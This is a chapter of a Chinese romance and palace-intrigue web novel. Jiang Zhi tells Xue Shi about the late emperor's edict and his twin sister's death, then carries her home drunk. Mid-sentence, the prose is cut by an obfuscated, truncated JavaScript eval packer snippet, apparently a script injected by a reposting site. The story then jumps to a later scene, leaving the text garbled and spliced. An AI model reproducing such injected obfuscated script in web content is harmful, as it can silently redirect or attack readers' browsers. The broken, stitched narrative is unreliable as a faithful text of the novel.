薛适和江执在临窗的位置坐下,“王爷是常来这儿吗?” 江执点头:“这家饭馆是我回京后训练不忌军时发现的,常和他们一起过来,久而久之便熟悉了。老板娘负责招呼客人,丈夫掌厨。菜式虽不如各大酒楼装点精致,但分量极为丰盛,味道亲切,周遭景致也很美,觉得你会喜欢这儿,所以一直想带你过来吃一次。” 饭馆应是老板和老板娘用自家院子改造而成。右前方是菜园,自给自足,左边临窗不远处屹立着一颗高大挺拔的松树,虽冬日的长安城随处可见松树,但这棵上面挂了许多五颜六色的木牌,写着客人们许下的各种心愿,好似披霜带雪的松树亦能于翠绿中生出绚烂的花,风吹而过,摇曳动听。 树下还放着几个摇椅,江执顺着薛适好奇的目光解释道:“老板娘爱看星星,她在自家院子各处试过后,发现坐在此处赏星最佳,一会儿我们可以过去看看,老板娘还备了炭火盆,脚边烤着,也不会太冷。” 许是因他们来的时辰已过了晚间饭点,饭馆中除他们之外,只有一桌客人。 薛适和江执没等一会儿,清炒秋葵、炖羊肉、樱桃酥酪、毕罗都已陆陆续续上好,只差最后的温梨汤。 确实如江执所说,这家饭馆的菜做的很好吃,味道朴实却喷香无比。但薛适却见江执吃的不若每次多,大都是将菜夹到碗里,捏着筷子默默出神。 直到他们坐在摇椅上看星星时,江执也只是看着面前某处虚无,不知在想什么。 虽然江执伪装得很好,其他人只会觉得他神情认真,并无反常,可她一直看着他,那些极易被人忽略的种种细节之处,让薛适终是忍不住关切问道:“王爷今日……是不是不开心?” 江执回过神,眸光微闪:“怎么这么说?” “往日王爷的话要更多一些。但今日,王爷很多时候都在沉默着出神。” 江执轻笑了声:“你这是嫌我平日话太多,还是在怪我今日话太少啊,薛姑娘。” 薛适知道他是在故意打趣她,心中的担忧反而更加浓烈:“是出什么事了吗。” 她想到白日不忌军来摊上时无意提起的话,说江执比起原定计划,加快了揭发明修杀害江措的进程,带人熬了许多个日夜,废寝忘食地细细整理所有证据和证词。 她不禁问道,“如此加急,是还有其他变故吗。” 江执伸手轻轻触了下薛适的眉心:“你想多了,没有。我保证,明修活不成了。” 他确实会反复想起那晚明府外,薛适同他说的话。她说,在没有为江措找到凶手的每一天,好像只要感受到幸福,她都会不自觉地想起江措在她面前闭上眼,诀别的画面。 也会经常想起薛适曾站在扬州郊外的山上吹了许久的寒风,为江措执刀刻石不管冷与痛都未有半分停滞的模样。 他知道薛适有多容易自责,若不快些掘出真相,无论是薛适还是他,都难以放下对江措的愧疚,只保留最纯粹的思念。 江执微微笑了笑,月影于他眸中晃动,漾出清清浅浅的温柔,“只是想让二哥早些瞑目。想让你开心,可以心无旁骛地感受幸福。” 薛适愣然地眨了下眼,长睫扑闪轻颤间,原本清澈明亮的眸中似蒙山岚,渐渐聚起湿润。 “王爷,我……” 看着她忧色仍未散去的双眸,江执心跳一滞,没再藏起自己的心事,先一步开口告诉道:“我今日没有不开心,只是有些……想念父皇了。” 他原本没打算告诉任何人父皇所留遗诏的真正内容,但薛适望着他时紧张而担忧的目光,像是温柔却充满力量的手指,只需微微一动,便可轻而易举地撕下他所有的伪装。 “父皇曾留下一封传位遗诏,他将皇位传给了我。” 薛适记得奚玄当年曾说,江接看过遗诏后脸色十分不好,原来是因昭景帝将皇位传给了“江岑许”而非他。这般想来,当年江接和明文昌接连派人对还是五公主的江执赶尽杀绝,都是因知晓了遗诏的内容。 “父皇一直知道,当年死的人是小五,而我活了下来。” 这是薛适第一次从江执口中听到当年的事。 他抬头看着天上的星星,目光是说不尽的悲凉和落寞。 “小五性子顽劣,不喜读书,爱骑马打猎,很爱热闹。因我们长得相像,她时常着男装假扮成我,跟着二哥四弟几个偷溜出宫。 我受不住他的央求,无奈扮成她的模样替她上学堂。那时我只想着,妹妹爱玩一些也无妨,只要她喜欢,只要她快乐,大不了事后我亲自教她。 可没想到……正因如此,明文昌派去下毒的人将小五错认成了我,小五因我太子之位无辜受牵,代我而死。” 因老板娘忙着招呼另一桌客人,最后的温梨汤是她五岁的女儿帮忙送过来的。薛适谢过后,给自己和江执各倒了一杯,听着江执提起过去,入口的温梨汤好似都染上了苦涩而辛辣的滋味。 “我回去的时候,殿内火起,我冲进去抱住小五,但她已中毒太深,哪怕我能将她从火中带出来,也救不回她。” 那时候,江执从学堂往宫殿走,觉得今日的课业实在重要,等江岑许从宫外回来,他一定得哄着她,想尽一切办法让她学一遍。 正想着,就听宫人急急喊着:“起火了!” “太子还在里面!太子方才不知怎么了,一直在吐血,太医还在路上,太子又病得那般凶,根本逃不出来啊!” 太子……是小五! 江执不管不顾地奔向殿中,完全不顾身后宫人焦急喊着“五公主不要进去,火势太大了!” 猩红的火光中,他看见向来活泼的妹妹虚弱地躺在地上,他抱起她时,她只剩了最后一点微弱的呼吸,但撒娇的语气却一如从前。 “哥哥……我替你喝下很难喝很难喝的茶,谢过以往的每一次……你扮成我的模样代我上课,予我自由…… 我要去、找母后啦,哥哥,你一定要……活下去……” 宫中无人知晓,那一场大火并非意外,而是一个妹妹为了保护她的哥哥,亲自烧毁了自己的尸身。 喜爱自由的公主被永远困在了深宫。 太子病逝,殿内走水,公主毁容…… 谎言之下,太子江执的一切从此被埋葬在火海,世间只有戴着金色千叶莲面具的五公主江岑许。 但江执骗得了世人,却无法骗过他的父亲。 可昭景帝却也只能陪着自己的儿子一起,上演荒唐公主的戏码。 那时的他们,撼动不了明家。 明家百年大族,明家家主陪着高祖打下大益江山。明文昌更是出类拔萃,才能远胜家主,祖母在位时,他深受信任、权倾朝野,父皇登基亦是他亲自辅佐。 这样的人本该是一代又一代帝王最得力的左膀右臂。 可他想要取而代之,自己坐在高位之上。 恰昭景帝本就不爱朝政,偏好佛法字画,吟诗作赋。若非几个兄弟先后病逝,只剩他一人,他绝不会登上皇位。所以初为帝的那几年,朝政大多由明文昌操持。 也因此,明文昌的野心愈来愈大,暗中培植的力量越来越多,等昭景帝渐渐发觉,明文昌的话远比他有分量时,已经太迟了。 “父皇一直很后悔,后悔他没有早些担负起属于帝王的责任。我也怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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饭馆离春水河并不远,走路需半个多时辰。 江执抬头看着天上,冬日的天色要比夏日深,因而星星虽稀疏,却更加澄灿而明亮。 他们头顶星空,从寂静走至繁华,在这样的黑夜中,时间似变得长久,好像他们之间,已轮转共度了几生几世。 颈侧一下一下扫过温热的呼吸,江执偏头朝趴在自己肩上睡得极沉的薛适无奈笑道:“傻瓜,喝了半天的酒,怎么也没告诉我?” “也怪我,贪恋你的温柔,迟了那么久才发现。” 走到薛适家门前时,江执把她轻轻放下,转而横抱起她。 动作间,薛适下意识抱紧江执的脖子,顺着她的力量,江执不禁俯下身,这一下,喉结不经意地擦过她温软的唇瓣。 他浑身骤然紧绷,看着薛适迷迷糊糊窝在他怀中,安然倦醉的睡颜,甚至无意识地勾了勾唇角,只觉世间倏而寂静无声,唯有胸腔中疾风骤雨般的心跳,凝带起细密的重量,让他不可抑制地低下头,从大门走进房间这一路,轻却久地吻着怀中人的眉毛、眼睛、鼻尖…… 至将人放在床榻时,他的呼吸已变得粗重而深绵,他撑在薛适身上,眼神如灼烫的烙印,久久刻在她红润的樱唇。 他喉咙发紧,出口的声音又低又哑:“薛适,你是不是,也喜欢我?” 看着她酡红的面容,江执俯身慢慢凑近。 他闭上眼,最后只将那记吻,轻轻落在了她醉染的红颊上。 江执给薛适掖好被子,唇边的笑容比起往常多了丝执拗意味,“无论是不是,我都会缠着你,永远不放手。” “你可不要……被我吓跑啊。”